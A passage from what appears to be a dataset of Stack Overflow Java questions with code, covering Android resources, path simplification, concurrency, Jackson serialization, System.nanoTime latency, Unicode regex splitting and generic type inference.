compile 'com.astuetz : pagerslidingtabstrip:1.0.1 ' compile 'com.davemorrissey.labs : subsampling-scale-image-view:2.3.0 ' compile ( 'org.apache.httpcomponents : httpmime:4.3.6 ' ) { exclude module : 'httpclient ' } compile 'org.apache.httpcomponents : httpclient-android:4.3.5 ' compile ( name : 'analyticslibrary ' , ext : 'aar ' ) compile 'com.google.android.gms : play-services-analytics:16.0.4 ' } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < resources > < style name= '' AppTheme '' parent= '' Theme.AppCompat.Light.DarkActionBar '' > < item name= '' windowActionBar '' > false < /item > < item name= '' drawerArrowStyle '' > @ style/DrawerArrowStyle < /item > < item name= '' colorPrimary '' > @ color/primary_color < /item > < item name= '' colorPrimaryDark '' > @ color/primary_color_dark < /item > < item name= '' colorAccent '' > @ color/accent < /item > < item name= '' actionBarSize '' > @ dimen/abc_action_bar_default_height_material < /item > < item name= '' colorSwitchThumbNormal '' > @ color/switch_thumb_normal < /item > < /style > < style name= '' ToolbarThemeOverlay '' parent= '' ThemeOverlay.AppCompat.Dark.ActionBar '' > < item name= '' android : subtitleTextStyle '' > @ style/SubTitleTextStyle < /item > < item name= '' subtitleTextStyle '' > @ style/SubTitleTextStyle < /item > < /style > < style name= '' SubTitleTextStyle '' > < item name= '' android : textStyle '' > italic < /item > < item name= '' android : textSize '' > 12sp < /item > < item name= '' android : textColor '' > @ color/text_white < /item > < /style > < style name= '' DrawerArrowStyle '' parent= '' Widget.AppCompat.DrawerArrowToggle '' > < item name= '' spinBars '' > true < /item > < item name= '' color '' > @ android : color/white < /item > < /style > < style name= '' SpinnerButton '' > < item name= '' android : minHeight '' > 40dp < /item > < item name= '' android : layout_marginLeft '' > @ dimen/content_margin_normal < /item > < item name= '' android : layout_marginRight '' > @ dimen/content_margin_normal < /item > < item name= '' android : background '' > @ drawable/spinner_button_selector < /item > < item name= '' android : textColor '' > @ color/text_black < /item > < item name= '' android : textSize '' > @ dimen/text_size_medium < /item > < item name= '' android : textStyle '' > italic < /item > < /style > < style name= '' EditTextRectangleStyle '' > < item name= '' android : layout_marginLeft '' > @ dimen/content_margin_normal < /item > < item name= '' android : layout_marginRight '' > @ dimen/content_margin_normal < /item > < item name= '' android : background '' > @ drawable/black_rectangle < /item > < item name= '' android : textColor '' > @ color/text_black < /item > < item name= '' android : textSize '' > @ dimen/text_size_medium < /item > < item name= '' android : textColorHint '' > @ color/text_gray < /item > < item name= '' android : textStyle '' > italic < /item > < /style > < style name= '' EditTextStyle '' > < item name= '' android : minHeight '' > 40dp < /item > < item name= '' android : layout_marginLeft '' > @ dimen/content_margin_normal < /item > < item name= '' android : layout_marginRight '' > @ dimen/content_margin_normal < /item > < item name= '' android : background '' > @ drawable/edittext_bg < /item > < item name= '' android : textColor '' > @ color/text_black < /item > < item name= '' android : textSize '' > @ dimen/text_size_medium < /item > < item name= '' android : textColorHint '' > @ color/text_gray < /item > < item name= '' android : textStyle '' > italic < /item > < /style > < style name= '' EditTextNoMarginsStyle '' > < item name= '' android : minHeight '' > 40dp < /item > < item name= '' android : background '' > @ drawable/edittext_bg < /item > < item name= '' android : textColor '' > @ color/text_black < /item > < item name= '' android : textSize '' > @ dimen/text_size_medium < /item > < item name= '' android : textColorHint '' > @ color/text_gray < /item > < item name= '' android : textStyle '' > italic < /item > < /style > < style name= '' FormLabelClickable '' parent= '' FormLabelStyle '' > < item name= '' android : clickable '' > true < /item > < item name= '' android : textColor '' > @ color/clickable_black_text < /item > < /style > < style name= '' FormLabelStyle '' > < item name= '' android : minHeight '' > 40dp < /item > < item name= '' android : layout_marginLeft '' > @ dimen/content_margin_normal < /item > < item name= '' android : layout_marginRight '' > @ dimen/content_margin_normal < /item > < item name= '' android : gravity '' > center_vertical < /item > < item name= '' android : textColor '' > @ color/text_black < /item > < item name= '' android : textSize '' > @ dimen/text_size_medium < /item > < item name= '' android : textStyle '' > italic < /item > < /style > < style name= '' StandardSwitch '' parent= '' FormLabelStyle '' > < item name= '' android : padding '' > 1dp < /item > < item name= '' android : textColor '' > @ color/switch_text_dark_gray < /item > < /style > < style name= '' SwitchLabelStyle '' > < item name= '' android : paddingRight '' > @ dimen/content_margin_normal < /item > < item name= '' android : textColor '' > @ color/text_gray < /item > < item name= '' android : textSize '' > @ dimen/text_size_small < /item > < /style > < style name= '' CustomTabPageIndicator '' > < item name= '' android : background '' > @ color/primary_color < /item > < item name= '' android : textSize '' > 12sp < /item > < item name= '' pstsTextAllCaps '' > true < /item > < item name= '' android : maxLines '' > 1 < /item > < item name= '' android : textColor '' > # FFAAAAAA < /item > < item name= '' pstsIndicatorColor '' > # FFFFFF < /item > < item name= '' pstsDividerColor '' > @ android : color/transparent < /item > < item name= '' pstsShouldExpand '' > true < /item > < item name= '' pstsIndicatorHeight '' > 4dp < /item > < item name= '' pstsTabPaddingLeftRight '' > 1dp < /item > < item name= '' pstsUnderlineColor '' > # FFFFFF < /item > < item name= '' pstsUnderlineHeight '' > 0dp < /item > < /style > < style name= '' ButtonBar '' > < item name= '' android : paddingLeft '' > 2dp < /item > < item name= '' android : paddingTop '' > 5dp < /item > < item name= '' android : paddingRight '' > 2dp < /item > < item name= '' android : paddingBottom '' > 0dp < /item > < item name= '' android : background '' > @ android : drawable/bottom_bar < /item > < /style > < style name= '' dialog_popup_slideout '' > < item name= '' android : windowExitAnimation '' > @ anim/slide_out_dialog < /item > < /style > < style name= '' dialog_slidein_slideout '' > < item name= '' android : windowEnterAnimation '' > @ anim/slide_in_dialog < /item > < /style > < style name= '' dialog_slidein_left_slideout '' > < item name= '' android : windowEnterAnimation '' > @ anim/slide_in_left < /item > < item name= '' android : windowExitAnimation '' > @ anim/slide_out_dialog < /item > < /style > < style name= '' ButtonBarButton '' / > < style name= '' FullscreenTheme '' parent= '' android : Theme.NoTitleBar '' > < item name= '' android : windowContentOverlay '' > @ null < /item > < item name= '' android : windowBackground '' > @ null < /item > < item name= '' metaButtonBarStyle '' > @ style/ButtonBar < /item > < item name= '' metaButtonBarButtonStyle '' > @ style/ButtonBarButton < /item > < /style > < style name= '' FullscreenTheme.NoActionBar '' parent= '' ThemeOverlay.AppCompat.Dark.ActionBar '' > < item name= '' android : windowContentOverlay '' > @ null < /item > < item name= '' android : windowBackground '' > @ null < /item > < item name= '' metaButtonBarStyle '' > @ style/ButtonBar < /item > < item name= '' metaButtonBarButtonStyle '' > @ style/ButtonBarButton < /item > < item name= '' android : windowActionBar '' > false < /item > < item name= '' android : windowNoTitle '' > true < /item > < item name= '' android : windowIsFloating '' > false < /item > < /style > < style name= '' NumberPickerDialog '' parent= '' DialogCenteredTitle '' > < item name= '' android : layout_width '' > 280dp < /item > < /style > < style name= '' DialogCenteredTitle '' parent= '' Base.Theme.AppCompat.Light.Dialog '' > < item name= '' android : windowTitleStyle '' > @ style/CenteredTitle < /item > < item name= '' colorAccent '' > @ color/accent < /item > < item name= '' android : windowBackground '' > @ android : color/transparent < /item > < item name= '' android : windowFrame '' > @ null < /item > < item name= '' android : windowContentOverlay '' > @ null < /item > < item name= '' android : colorBackgroundCacheHint '' > @ null < /item > < /style > < style name= '' CenteredTitle '' parent= '' Base.TextAppearance.AppCompat.Title '' > < item name= '' android : gravity '' > center < /item > < item name= '' android : layout_width '' > match_parent < /item > < item name= '' android : layout_gravity '' > center < /item > < item name= '' android : layout_marginBottom '' > 8dp < /item > < /style > < style name= '' RedRectangularButton '' parent= '' BlueRectangularButton '' > < item name= '' android : background '' > @ drawable/red_rectangle_button_bg_selector < /item > < /style > < style name= '' BlueRectangularButton '' > < item name= '' android : minHeight '' > 40dp < /item > < item name= '' android : paddingLeft '' > @ dimen/rectangular_button_horizontal_margin < /item > < item name= '' android : paddingRight '' > @ dimen/rectangular_button_horizontal_margin < /item > < item name= '' android : textColor '' > @ color/button_text_white < /item > < item name= '' android : background '' > @ drawable/blue_rectangle_button_bg_selector < /item > < item name= '' android : textAllCaps '' > true < /item > < /style > < style name= '' ImageViewAttachment '' > < item name= '' android : width '' > 0dp < /item > < item name= '' android : minHeight '' > @ dimen/select_image_min_height < /item > < item name= '' android : scaleType '' > fitCenter < /item > < item name= '' android : background '' > @ drawable/dashed_rectangle_selector < /item > < item name= '' android : layout_weight '' > 0.25 < /item > < item name= '' android : src '' > @ drawable/symbol_camera < /item > < item name= '' android : adjustViewBounds '' > true < /item > < /style > < /resources > < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : background= '' @ color/splash_background '' tools : context= '' net.myapp.app.ui.SplashSreenActivity '' > < ImageView android : id= '' @ +id/image '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : src= '' @ drawable/image_menu '' android : layout_alignParentBottom= '' true '' android : adjustViewBounds= '' true '' android : scaleType= '' fitEnd '' / > < ProgressBar android : id= '' @ +id/progressBar '' style= '' ? android : attr/progressBarStyleLarge '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerInParent= '' true '' android : visibility= '' gone '' / > < LinearLayout android : id= '' @ +id/layoutError '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerInParent= '' true '' android : gravity= '' center_horizontal '' android : paddingBottom= '' 100dp '' android : orientation= '' vertical '' android : visibility= '' gone '' > < TextView android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : padding= '' 16dp '' android : textColor= '' @ color/text_black '' android : gravity= '' center_horizontal '' android : textSize= '' 16sp '' android : text= '' @ string/error_maintenance '' / > < RelativeLayout android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_marginTop= '' @ dimen/content_margin_normal '' > < Button android : id= '' @ +id/buttonRetry '' android : layout_width= '' 60dp '' android : layout_height= '' 60dp '' android : textColor= '' @ color/text_white '' android : textSize= '' 12sp '' android : text= '' @ string/retry '' android : background= '' @ drawable/circle_button_blue_selector '' / > < ProgressBar android : id= '' @ +id/progressBarRetry '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' style= '' ? android : attr/progressBarStyleSmall '' android : layout_centerInParent= '' true '' android : visibility= '' invisible '' / > < /RelativeLayout > < /LinearLayout > < /RelativeLayout > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < resources > < string name= '' app_name '' > myapp < /string > < string name= '' ic_action_search '' > Search < /string > < string name= '' ic_action_profile '' > Profile < /string > < string name= '' ic_action_refresh '' > Refresh < /string > < string name= '' action_call '' > Call < /string > < string name= '' action_email '' > Email < /string > < string name= '' action_share '' > Share < /string > < string name= '' action_location '' > Location < /string > < string name= '' action_report '' > Report < /string > < string name= '' navigation_drawer_open '' > Open navigation drawer < /string > < string name= '' navigation_drawer_close '' > Close navigation drawer < /string > < string name= '' action_settings '' > Settings < /string > < string name= '' hello_blank_fragment '' > Hello blank fragment < /string > < string name= '' register_below '' > Register below to receive deals and promotions from local businesses. < /string > < string name= '' gender '' > Gender < /string > < string name= '' birth_year '' > Year of birth < /string > < string name= '' island '' > Island < /string > < string name= '' button_done '' > Done < /string > < string name= '' button_ok '' > OK < /string > < string name= '' loading '' > Loading ... < /string > < string name= '' title_activity_profile '' > Profile < /string > < string name= '' title_activity_deals_details '' > DealsDetailsActivity < /string > < string name= '' title_activity_fullscreen_image '' > FullscreenImageActivity < /string > < string name= '' title_activity_classified_details '' > ClassifiedDetailsActivity < /string > < string name= '' title_activity_splash_sreen '' > SplashSreenActivity < /string > < ! -- Splash screen -- > < string name= '' retry '' > Retry < /string > < string name= '' retry_failed '' > Retry failed < /string > < string name= '' error_maintenance '' > The servers are currently undergoing maintenance , please try again in a few minutes. < /string > < /resources > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < resources > < color name= '' primary_color_clicked '' > # 0071a8 < /color > < color name= '' primary_color '' > # 004A77 < /color > < color name= '' primary_color_dark '' > # 004368 < /color > < color name= '' switch_thumb_normal '' > # 004A77 < /color > < color name= '' switch_text_dark_gray '' > # 464646 < /color > < color name= '' accent '' > # 80A4BB < /color > < color name= '' orange '' > # EA5C04 < /color > < color name= '' dark_red '' > # A00809 < /color > < color name= '' red_divider '' > # A91F20 < /color > < color name= '' line_light_gray '' > # D9D9D9 < /color > < color name= '' text_blue '' > # 004A77 < /color > < color name= '' text_white '' > # FFFFFF < /color > < color name= '' text_gray '' > # 969696 < /color > < color name= '' text_content_dark '' > # 333 < /color > < color name= '' text_dark_red '' > # 980000 < /color > < color name= '' tab_text_inactive '' > # 98b6c8 < /color > < color name= '' text_orange '' > # E74700 < /color > < color name= '' text_black '' > # 111111 < /color > < color name= '' text_black_focused '' > # 888888 < /color > < color name= '' button_blue '' > # 004A77 < /color > < color name= '' button_blue_focused '' > # 0075BA < /color > < color name= '' menu_list_divider '' > # 9DD0F5 < /color > < color name= '' menu_selected_item_background '' > # D6EDFF < /color > < color name= '' black_overlay '' > # 66000000 < /color > < color name= '' search_background '' > # A7D9FE < /color > < color name= '' splash_background '' > # A6D8FD < /color > < color name= '' darken_filter_color '' > # 22000000 < /color > < color name= '' classified_id_background '' > # DDDDDD < /color > < color name= '' red_button '' > # A00809 < /color > < color name= '' red_button_focused '' > # f40809 < /color > < /resources >",Moving from SDK 21 to SDK 28 +Java,"I am trying to implement the reduction algorithim from https : //github.com/hgoebl/simplify-javaI have looked through his test code and tried to come up with what I think is the right logic.I am taking a list of Location objects , converting them to a Point , running the reduction algorithm , then converting the reduced points back into a list of Location objects . The problem is here : It always comes out with a size of 2 . Clearly I am doing something wrong but I am not sure what . Can you identify what is wrong with my implementation ? Approach # 1 failingApproach # 2 also failsI have tried this approach as well : Both of these hyper reduce my points to just the first and last location.Any advice is greatly appreciated.SOLUTIONThanks to the advice I have a solution that now works perfectly . Here is the final code :","float [ ] [ ] simplified = simplify.simplify ( points2D , 10000.0f , true ) ; public static ArrayList < Location > reducePath ( List < Location > allLocations , double tolerance ) { // All the points in rows , with columns latitude and longitude float [ ] [ ] points2D = new float [ allLocations.size ( ) ] [ 2 ] ; // Convert Location to Point int i = 0 ; for ( Location loc : allLocations ) { points2D [ i ] [ 0 ] = ( float ) loc.getLatitude ( ) ; points2D [ i ] [ 1 ] = ( float ) loc.getLongitude ( ) ; i++ ; } PointExtractor < float [ ] > pointExtractor = new PointExtractor < float [ ] > ( ) { @ Override public double getX ( float [ ] point ) { return point [ 0 ] ; } @ Override public double getY ( float [ ] point ) { return point [ 1 ] ; } } ; Timber.tag ( `` Thin '' ) .d ( `` 2D array size `` + points2D.length ) ; // This is required for the Simplify initalization // An empty array is explicity required by the Simplify library Simplify < float [ ] > simplify = new Simplify < float [ ] > ( new float [ 0 ] [ 0 ] , pointExtractor ) ; float [ ] [ ] simplified = simplify.simplify ( points2D , 10000.0f , true ) ; Timber.tag ( `` Thin '' ) .d ( `` Simplified with size `` + simplified.length ) ; ArrayList < Location > reducedPoints = new ArrayList < > ( ) ; // Convert points back to location for ( float [ ] point : simplified ) { Location loc = new Location ( `` '' ) ; loc.setLatitude ( point [ 0 ] ) ; loc.setLongitude ( point [ 1 ] ) ; reducedPoints.add ( loc ) ; } return reducedPoints ; } public static ArrayList < Location > reducePath ( List < Location > allLocations , double tolerance ) { // All the points in rows , with columns latitude and longitude float [ ] [ ] points2D = new float [ allLocations.size ( ) ] [ 2 ] ; // This is required for the Simplify initalization // An empty array is explicity required by the Simplify library Simplify < MyPoint > simplify = new Simplify < MyPoint > ( new MyPoint [ 0 ] ) ; MyPoint [ ] allpoints = new MyPoint [ allLocations.size ( ) ] ; // Convert Location to Point int i = 0 ; for ( Location loc : allLocations ) { points2D [ i ] [ 0 ] = ( float ) loc.getLatitude ( ) ; points2D [ i ] [ 1 ] = ( float ) loc.getLongitude ( ) ; MyPoint p = new MyPoint ( loc.getLatitude ( ) , ( float ) loc.getLongitude ( ) ) ; allpoints [ i ] = p ; i++ ; } Timber.tag ( `` Thin '' ) .d ( `` All points array size `` + allpoints.length ) ; MyPoint [ ] simplified = simplify.simplify ( allpoints , 1.0 , false ) ; Timber.tag ( `` Thin '' ) .d ( `` Simplified with size `` + simplified.length ) ; ArrayList < Location > reducedPoints = new ArrayList < > ( ) ; // Convert points back to location for ( MyPoint point : simplified ) { Location loc = new Location ( `` '' ) ; loc.setLatitude ( point.getX ( ) ) ; loc.setLongitude ( point.getY ( ) ) ; reducedPoints.add ( loc ) ; } return reducedPoints ; } private static class MyPoint implements Point { double x ; double y ; private MyPoint ( double x , double y ) { this.x = x ; this.y = y ; } @ Override public double getX ( ) { return x ; } @ Override public double getY ( ) { return y ; } @ Override public String toString ( ) { return `` { `` + `` x= '' + x + `` , y= '' + y + ' } ' ; } @ Override public boolean equals ( Object o ) { if ( this == o ) return true ; if ( o == null || getClass ( ) ! = o.getClass ( ) ) return false ; MyPoint myPoint = ( MyPoint ) o ; if ( Double.compare ( myPoint.x , x ) ! = 0 ) return false ; if ( Double.compare ( myPoint.y , y ) ! = 0 ) return false ; return true ; } } /** * For use when making LatLng coordiantes whole intergers * So the comparator can use values > 1 . */private static int DELTA_SCALAR = 1000000 ; /** * Is used as the threshold for deciding what points are * removed when using the path reduction . This value * was found from running many tests and deciding on the * best value that worked for GPS Paths . */private static float EPSILON_TOLERANCE = 400.0f ; /** * Reduces number of points while maintaining the path . * @ param allLocations * @ return ArrayList of all important locations */public static ArrayList < Location > reducePath ( ArrayList < Location > allLocations ) { // The values must correspond to a delta > 1 . So the scalar brings up the // decimal values of LatLng positions to be whole numbers . The point extractor // is used by the Simplify framework to get the X and Y values . PointExtractor < Location > pointExtractor = new PointExtractor < Location > ( ) { @ Override public double getX ( Location location ) { return location.getLatitude ( ) * DELTA_SCALAR ; } @ Override public double getY ( Location location ) { return location.getLongitude ( ) * DELTA_SCALAR ; } } ; // This is required for the Simplify initalization // An empty array is explicity required by the Simplify library Simplify < Location > simplify = new Simplify < Location > ( new Location [ 0 ] , pointExtractor ) ; Location [ ] allLocationsArray = new Location [ allLocations.size ( ) ] ; allLocations.toArray ( allLocationsArray ) ; Location [ ] simplifiedArray = simplify.simplify ( allLocationsArray , EPSILON_TOLERANCE , true ) ; return new ArrayList < Location > ( Arrays.asList ( simplifiedArray ) ) ; }",Simplify-Java ( by hgoebl ) Issue With Reduced Points List Always Size 2 +Java,"I 'm reading B. Goetz Java Concurrency In practice and now I 'm at the section 3.5 about safe publication . He stated : This improper publication could allow another thread to observe a partially constructed object.I do n't see why it is possible to observe a partially constructed subobject . Assume , that the constructor Holder ( int ) does not allow this to escape . So , the constructed reference can be observed only by the caller . Now , as JLS 17.7 stated : Writes to and reads of references are always atomic , regardless of whether they are implemented as 32-bit or 64-bit values.it is impossible for thread to observe a partially constructed object.Where was I wrong ?",// Unsafe publicationpublic Holder holder ; public void initialize ( ) { holder = new Holder ( 42 ) ; },Concurrent access to a public field . Why is it possible to observe inconsistent state ? +Java,"I 'm making a simple rock paper scissors program but am unsure how to ensure that the user only enters a valid choice . I need to be able to reprompt them if they do n't type some varriant of `` rock '' , `` paper '' , or `` scissors '' ( capitalization does n't matter ) and later `` yes '' or `` no '' . Suggestions ? }","import java.util . * ; public class RockPaperScissors { private int wins = 0 ; private int losses = 0 ; private int ties = 0 ; public static void main ( String [ ] args ) { // TODO Auto-generated method stub RockPaperScissors model = new RockPaperScissors ( ) ; Scanner scan = new Scanner ( System.in ) ; while ( true ) { System.out.println ( `` Rock , Paper , Scissors ... Pick one ! ( Type Rock , Paper , or Scissors ) '' ) ; String playerChoice = scan.next ( ) ; String computerChoice = model.getRandomChoice ( ) ; System.out.println ( `` You chose `` + playerChoice + `` . `` ) ; System.out.println ( `` The computer chose `` + computerChoice + `` . `` ) ; RockPaperScissors.GameOutcome outcome = model.getGameOutcome ( playerChoice , computerChoice ) ; if ( outcome == RockPaperScissors.GameOutcome.WIN ) { System.out.println ( `` You won ! Congratulations '' ) ; } else if ( outcome == RockPaperScissors.GameOutcome.LOSE ) { System.out.println ( `` You lose ! Better luck next time ! `` ) ; } else { System.out.println ( `` Tie ! `` ) ; } System.out.print ( `` Do you want to play again ? ( Yes/No ) : '' ) ; String answer = scan.next ( ) ; if ( answer.equalsIgnoreCase ( `` no '' ) ) { break ; } } System.out.println ( `` Thanks for playing ! `` ) ; System.out.println ( `` Wins : `` + model.getWins ( ) ) ; System.out.println ( `` Losses : `` + model.getLosses ( ) ) ; System.out.println ( `` Ties : `` + model.getTies ( ) ) ; scan.close ( ) ; } public static enum GameOutcome { WIN , LOSE , TIE ; } public GameOutcome getGameOutcome ( String userChoice , String computerChoice ) { if ( userChoice.equalsIgnoreCase ( `` Rock '' ) ) { if ( computerChoice.equalsIgnoreCase ( `` Paper '' ) ) { losses++ ; return GameOutcome.LOSE ; } else if ( computerChoice.equalsIgnoreCase ( `` Scissors '' ) ) { wins++ ; return GameOutcome.WIN ; } } else if ( userChoice.equalsIgnoreCase ( `` Paper '' ) ) { if ( computerChoice.equalsIgnoreCase ( `` Scissors '' ) ) { losses++ ; return GameOutcome.LOSE ; } else if ( computerChoice.equalsIgnoreCase ( `` Rock '' ) ) { wins++ ; return GameOutcome.WIN ; } } else if ( userChoice.equalsIgnoreCase ( `` Scissors '' ) ) { if ( computerChoice.equalsIgnoreCase ( `` Rock '' ) ) { losses++ ; return GameOutcome.LOSE ; } else if ( computerChoice.equalsIgnoreCase ( `` Paper '' ) ) { wins++ ; return GameOutcome.WIN ; } } ties++ ; return GameOutcome.TIE ; } public String getRandomChoice ( ) { double d = Math.random ( ) ; if ( d < .33 ) { return `` Rock '' ; } else if ( d < .66 ) { return `` Paper '' ; } else { return `` Scissors '' ; } } public int getWins ( ) { return wins ; } public int getLosses ( ) { return losses ; } public int getTies ( ) { return ties ; }",How can I ensure user enters a valid choice ? +Java,"Is there a way to serialize collection and its elements unwrapped ? For example I want to serialize unwrapped all components : Expected : { `` stringValue '' : '' something '' , '' intValue '' :42 } But actual result is : { `` components '' : [ { `` stringValue '' : '' something '' } , { `` intValue '' :42 } ] }","class Model { @ JsonProperty @ JsonUnwrapped Collection < Object > components ; Model ( Collection < Object > components ) { this.components = components ; } static class Component1 { @ JsonProperty String stringValue ; Component1 ( String stringValue ) { this.stringValue= stringValue ; } } static class Component2 { @ JsonProperty int intValue ; Component2 ( int intValue ) { this.intValue= intValue ; } } public static void main ( String [ ] args ) throws JsonProcessingException { Model model = new Model ( Arrays.asList ( new Component1 ( `` something '' ) , new Component2 ( 42 ) ) ) ; String json = new ObjectMapper ( ) .writeValueAsString ( model ) ; System.out.println ( json ) ; } }",Jackson Serialization : Unwrap collection elements using +Java,Suppose that I have a legacy java application with thousands of lines of code which do : Is there any global option that I could flip or 3rd party JAR which would log all `` eaten '' exceptions ? I know that I could do a massive find replace ( search for catch ( Exception e ) { and replace it with catch ( Exception e ) { logException ( e ) ; ) but I was wondering if there was a better solution . Thanks !,try { // stuff } catch ( Exception e ) { // eat the exception },Globally Log Catch Exception e +Java,"In the Standard Java API , are there any scenarios where == will return true , but equals will return false . While theoretically this could be written into a user-defined class rather trivially like thisAre there any actually baked in examples where for some objects b and c , b == c will return true , but b.equals ( c ) returns false ? Additionally , would there be any possible benefit to have such a behavior ?",class A { public boolean equals ( Object o ) { return this ! = o ; } },Are there any scenarios where ` == ` is true but ` equals ` is false ? +Java,"I have seen and read posts on why System.nanoTime ( ) is slower on some OSes than others , however I have never seen anything to explain the difference I am seeing now . Using JMH , I am running this benchmark . ( Note : it uses System.nanoTime ( ) as well ) On Windows 10 , this takes ~25 ns . On Centos 7 , Linux 3.10 it is measured as taking ~10293 ns.This is on the same machine , Intel ( R ) Core ( TM ) i7-7820X CPU @ 3.60GHzIs there an option to change the way the JDK gets the system clock ? EDIT : Based on the link provided by Todd , it appear that tsc is not availableafter performingThe latency improved , but is still poor with a latency of 1,816 ns.I have tried to find out if the TSC clock source can be added to Centos , but not luck yet.EDIT : Digging a little further","@ Benchmarkpublic long systemNanoTime ( ) { return System.nanoTime ( ) ; } # more /sys/devices/system/clocksource/clocksource0/* : : : : : : : : : : : : : :/sys/devices/system/clocksource/clocksource0/available_clocksource : : : : : : : : : : : : : :hpet acpi_pm : : : : : : : : : : : : : :/sys/devices/system/clocksource/clocksource0/current_clocksource : : : : : : : : : : : : : :hpet echo acpi_pm > /sys/devices/system/clocksource/clocksource0/current_clocksource # dmesg | grep -i tsc [ 0.000000 ] tsc : Detected 3600.000 MHz processor [ 0.058602 ] TSC deadline timer enabled [ 0.065868 ] TSC synchronization [ CPU # 0 - > CPU # 1 ] : [ 0.065870 ] Measured 679995254538 cycles TSC warp between CPUs , turning off TSC clock . [ 0.065874 ] tsc : Marking TSC unstable due to check_tsc_sync_source failed [ 125.451480 ] Override clocksource tsc is not HRT compatible . Can not switch while in HRT/NOHZ mode","Centos 7 , 400x slower for System.nanoTime than windows" +Java,"The string in question has a supplementary unicode character `` \ud84c\udfb4 '' . According to javadoc , regex matching should be done at code point level not character level . However , the split code below treats low surrogate ( \udfb4 ) as non word character and splits on it . Am I missing something ? What are other alternatives to accomplish splitting on non-word characters ? ( Java version `` 1.7.0_07 '' ) Thanks in advance.Output : original 功能 絶顯示廣告orginal hex 529f 80fd 20 7d76 d84c dfb4 986f 793a 5ee3 544a 0 529f 80fd 1 7d76 d84c 2 986f 793a 5ee3 544a","Pattern non_word_regex = Pattern.compile ( `` [ \\W ] '' , Pattern.UNICODE_CHARACTER_CLASS ) ; String a = `` \u529f\u80fd\u0020\u7d76\ud84c\udfb4\u986f\u793a\u5ee3\u544a '' ; String b = '' 功能 絶顯示廣告 '' ; System.out.print ( `` original `` +a+ '' \norginal hex `` ) ; for ( char c : a.toCharArray ( ) ) { System.out.print ( Integer.toHexString ( ( int ) c ) ) ; System.out.print ( ' ' ) ; } System.out.println ( ) ; String [ ] tokens = non_word_regex.split ( a ) ; for ( int i =0 ; i < tokens.length ; i++ ) { String token = tokens [ i ] ; System.out.print ( i+ '' `` ) ; for ( char c : token.toCharArray ( ) ) { System.out.print ( Integer.toHexString ( ( int ) c ) ) ; System.out.print ( ' ' ) ; } System.out.println ( ) ; }","Java 7 , regexes and supplementary unicode characters" +Java,"I 've put together two separate programs which play a card game called 'Crazy Eights'.The classes I 've written for this program are based on a default 'card ' package which provides playing card objects and some generic methods for playing cards.I 've taken two separate approaches to achieve this which are both functional in their own right.Here are two UML class diagrams which depict the two approaches : Inherited subclass 'conversion ' methodComposed subclass with similar methodsAs you can see in approach 1 the class EightsCard contains a method convert ( Card ) Here 's the method : This method allows you to call methods from CardCollection which otherwise would n't be legal . For example , in the play method from the EightsPlayer class shown below : Approach 2 does n't require any conversions as the similar methods have been written in a new class EightsCardCollection which extends CardCollection . Now the play methods can be written like this : This brings me to a couple of questions : Are there any advantages to either approach beyond personal preference ? Is there a better way to compose this program ? For example , might it be better to write 'similar ' classes which are more specific1 and not use default classes2 at all.1 labelled 'crazyeights.syd.jjj ' or 'chaptwelvetofort ' in the class diagrams.2 labelled 'defaults.syd.jjj ' or cards.syd.jjj ' in the class diagrams .","/** * Converts a Card into an EightsCard * @ param card The card to be converted * @ return The converted EightsCard */ public EightsCard convert ( Card card ) { if ( card ! = null ) { EightsCard result = new EightsCard ( card.getRank ( ) , card.getSuit ( ) ) ; return result ; } return null ; } } /** * Removes and returns a legal card from the player 's hand . */ public EightsCard play ( Eights eights , EightsCard prev ) { EightsCard ecard = new EightsCard ( 0 , 0 ) ; ecard = ecard.convert ( searchForMatch ( prev ) ) ; if ( ecard == null ) { ecard = drawForMatch ( eights , prev ) ; return ecard ; } return ecard ; } public EightsCard play ( Eights eights , EightsCard prev ) { EightsCard card = searchForMatch ( prev ) ; if ( card == null ) { card = drawForMatch ( eights , prev ) ; } return card ; }",Create a new object class or write a method which converts sub-class objects ? or something else ? Performance NOT Preference +Java,"I have the following simplified example that groups a List of Strings into categories , in the form of a TreeMap from Integer to ListIf I do n't specify the type of the Comparator.reverseOrder ( ) the code will fail to compile ( see bottom of the post for the error ) .If I explicitly specify the type of the TreeMap instead of the type of Comparator.reverseOrder ( ) the code works fine.So : The compiler is able to infer the type of the TreeMapThe compiler is able to infer the type of the Comparator if it knows the type of the TreeMapBut the compiler is unable to figure out the type of the Comparator if it has to infer the type of the TreeMap.I do n't understand why the compiler ca n't infer both types . I 've tested this with both JDK 1.8.0_191 from Oracle and JDK 11.0.1_13 from AdoptOpenJDK , with the same results.Is this some limitation I 'm not aware of ?","public static void main ( String [ ] args ) { List < String > list = Arrays.asList ( `` A '' , `` B '' , `` C '' , `` D '' , `` E '' ) ; TreeMap < Integer , List < String > > res = list.stream ( ) .collect ( Collectors.groupingBy ( s - > s.charAt ( 0 ) % 3 , ( ) - > new TreeMap < > ( Comparator. < Integer > reverseOrder ( ) ) , // Type required Collectors.toList ( ) ) ) ; System.out.println ( res ) ; } ( ) - > new TreeMap < Integer , List < String > > ( Comparator.reverseOrder ( ) ) , // Type required Error : ( 22 , 32 ) java : no suitable method found for groupingBy ( ( s ) - > s.cha [ ... ] ) % 3 , ( ) - > new Tr [ ... ] er ( ) ) , java.util.stream.Collector < java.lang.Object , capture # 1 of ? , java.util.List < java.lang.Object > > ) method java.util.stream.Collectors. < T , K > groupingBy ( java.util.function.Function < ? super T , ? extends K > ) is not applicable ( can not infer type-variable ( s ) T , K ( actual and formal argument lists differ in length ) ) method java.util.stream.Collectors. < T , K , A , D > groupingBy ( java.util.function.Function < ? super T , ? extends K > , java.util.stream.Collector < ? super T , A , D > ) is not applicable ( can not infer type-variable ( s ) T , K , A , D ( actual and formal argument lists differ in length ) ) method java.util.stream.Collectors. < T , K , D , A , M > groupingBy ( java.util.function.Function < ? super T , ? extends K > , java.util.function.Supplier < M > , java.util.stream.Collector < ? super T , A , 